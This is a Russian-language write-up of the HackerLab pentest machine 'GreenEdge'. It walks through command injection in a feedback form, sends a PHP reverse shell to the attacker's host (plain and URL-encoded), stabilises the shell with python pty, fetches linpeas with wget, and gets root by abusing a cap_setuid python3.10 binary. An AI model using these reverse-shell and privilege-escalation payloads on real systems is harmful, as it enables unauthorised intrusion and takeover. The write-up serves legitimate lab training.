Writeup Pentest Machines | GreenEdge | HackerLab

HackerLabGreenEdge.webp

Название: GreenEdge
Категория: Pentest Machines
Уровень: средний
Ссылка на задание: https://hackerlab.pro/categories/pentest-machines/6b4ece6f-b8e0-43c0-84c7-250cd540bea3
Баллы: 400


Reconnaissance

Первое что нас встречает, домашная страница, которая сразу же говорит, какой пользователь на сервере управляет этим сайтом.
1782203533290.webp

Вызов принят, давайте изучим содержимое сайта. Во вкладке Feedback можно отправлять сообщения. Из-за того что нам показали команду id, я посмел предположить что здесь CMD injection. Так оно и оказалось.
Command Injection (CMD injection) - это атака, целью которой является выполнение произвольных команд в операционной системе хоста через уязвимое приложение.


Exploitation

Давайте попробуем посмотреть содержимое исходного кода проекта и также посмотреть, что у нас есть вообще на данный момент.
1782203775363.webp

Ничего интересного нет, давайте попробуем получить shell и затем стабилизируем его.
Открываем Burp Suite и перехватываем POST запросы к feedback.php.
Отправляем вот такой запрос:
PHP:
php -r '$sock=fsockopen("{IP}",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
Нужно закодировать его в URL кодировку, иначе сервер сбросит подключение, получается:
HTML:
%70%68%70%20%2d%72%20%27%24%73%6f%63%6b%3d%66%73%6f%63%6b%6f%70%65%6e%28%22%7b%49%50%7d%22%2c%34%34%34%34%29%3b%65%78%65%63%28%22%2f%62%69%6e%2f%73%68%20%2d%69%20%3c%26%33%20%3e%26%33%20%32%3e%26%33%22%29%3b%27
В своём терминале случаем порт 4444 с помощью netcat:
1782204113253.webp

После долго плутания, замечаем что на сервере установлен необычный python3.10. Давайте с помощью него попытаемся стабилизировать shell.
Python:
python3.10 -c 'import pty; pty.spawn("/bin/bash")'
Отлично, теперь можно думать в сторону privilege escalation.


Privilege escalation

Переходим в директорию /tmp и с помощью команды wget скачиваем бинарник linpeas.
Мы используем wget, поскольку curl нет на сервере.
1782204398629.webp

Запускаем его и ждём конца сканирования. LinPEAS подсветил нам, что обнаржуен python3.10, ну мы это итак знали, но не просто python3.10, а python3.10 cap_setuid=ep. Это означает, что мы легко можем получить права root. Давайте не будет медлить и введём заветный payload:
Python:
/usr/bin/python3.10 -c 'import os; os.setuid(0); os.system("/bin/bash")'
Поздравляю, вы root и теперь можете делать всё, что душе угодно.
 
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🧭 Навигатор · ИБ 2026
Не знаешь, какой трек твой?
5 направлений ИБ, реальные зарплаты и точка входа для каждого — в одном треде.
JuniorSenior+
100K → 600K+ ₽ /мес
Открыть навигатор →

Популярный контент

🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab